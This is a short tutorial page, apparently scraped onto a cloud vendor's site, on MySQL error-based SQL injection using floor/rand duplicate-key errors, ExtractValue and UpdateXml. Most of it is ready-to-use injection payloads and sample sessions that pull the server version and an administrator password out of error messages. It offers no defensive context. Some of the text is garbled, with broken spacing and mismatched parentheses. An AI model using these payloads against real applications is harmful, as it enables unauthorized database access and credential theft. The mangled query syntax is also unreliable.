Mysql3 error modes injection _ MySQL

Source: Internet
Author: User
1. When an error is reported through floor, use the following code: andselect1from (selectcount (*), concat (version (), floor (rand (0) * 2) xfrominformation_schematablesgroupbyx) ); and (selectcount (*) 1. When an error is reported through floor, you can use the following code: and select 1 from (select count (*), concat (version (), floor (rand (0) * 2) x from information_schema.tables group by x) a); and (select count (*) from (select 1 union select null union select! 1) x group...

1. floor error
You can use the following code:
And select 1 from (select count (*), concat (version (), floor (rand (0) * 2) x from information_schema.tables group by x) );
And (select count (*) from (select 1 union select null union select! 1) x group by concat (select table_name from information_schema.tables limit 1), floor (rand (0) * 2 )));
Example:
First, perform a normal query:
Mysql> select * from article where id = 1;
+ ---- + ------- + --------- +
| Id | title | content |
+ ---- + ------- + --------- +
| 1 | test | do it |
+ ---- + ------- + --------- +
If the input id has been injected, you can use the following statement to report an error.
Mysql> select * from article where id = 1 and (select 1 from (select count (*), concat (version (), floor (rand (0) * 2 )) x from information_schema.tables group by x) );
ERROR 1062 (23000): Duplicate entry '5. 1.33-community-log1 'for key'group _ key'
We can see that the Mysql version is successfully published. if you need to query other data, you can query it by modifying the statement where version () is located.
For example, we need to query the administrator username and password:
Method1:
Mysql> select * from article where id = 1 and (select 1 from (select count (*), concat (select pass from admin where id = 1 ), floor (rand (0) * 2) x from information_schema.tables group by x) );
ERROR 1062 (23000): Duplicate entry 'admin8881 'for key'group _ key'
Method2:
Mysql> select * from article where id = 1 and (select count (*) from (select 1 union select null union select! 1) x group by concat (select pass from admin limit 1), floor (rand (0) * 2 )));
ERROR 1062 (23000): Duplicate entry 'admin8881 'for key'group _ key'
Please see (http://www.yuefengqing.com /)
2. ExtractValue
The test statement is as follows:
And extractvalue (1, concat (0x5c, (select table_name from information_schema.tables limit 1 )));
Actual testing process
Mysql> select * from article where id = 1 and extractvalue (1, concat (0x5c, (select pass from admin limit 1 )));--
ERROR 1105 (HY000): XPATH syntax error: '\ admin888'

3. UpdateXml
Test statement
And 1 = (updatexml (1, concat (0x5e24, (select user (), 0x5e24), 1 ))
Actual testing process

Mysql> select * from article where id = 1 and 1 = (updatexml (1, concat (0x5e24, (select pass from admin limit 1), 0x5e24), 1 ));

ERROR 1105 (HY000): XPATH syntax error: '^ $ admin888 ^ $'
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.